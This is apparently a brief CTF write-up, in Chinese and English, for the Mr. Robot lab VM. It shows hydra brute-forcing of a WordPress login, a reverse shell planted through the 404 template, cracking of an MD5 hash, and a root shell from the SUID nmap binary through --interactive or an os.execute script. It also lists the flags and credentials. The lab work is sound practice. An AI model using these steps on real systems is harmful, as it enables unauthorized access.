### information_gathering port:443 80  find robots.txt and get hash and a dict  flag1:  073403c8a58a1f80d943455fb30724b9 ### Establish a foothold username通过猜测为ELLiot,因为mr robot电视剧中主角robot的真名叫艾略特 密码通过hydra http-post-form可爆破为： ER28-0652 改变模板404页面反弹个shell  ->key2 permission denied pass->robot  c3fcd3d76192e4007dfb496cca67e13b  ->abcdefghijklmnopqrstuvwxyz 解密出来后登录读取拿到flag2 login->robot to get key-2 is 822c73956184f694993bede3eb39f959  ### privilege: #### ways1 ``` find / -perm -4000 -type f 2>/dev/null ```  nmap 在低版本中可直接用--interactive 进入交互界面，此处可用来提权    #### ways2 可直接script ``` echo "os.execute('/bin/bash')" > ./exp nmap --script=./exp ```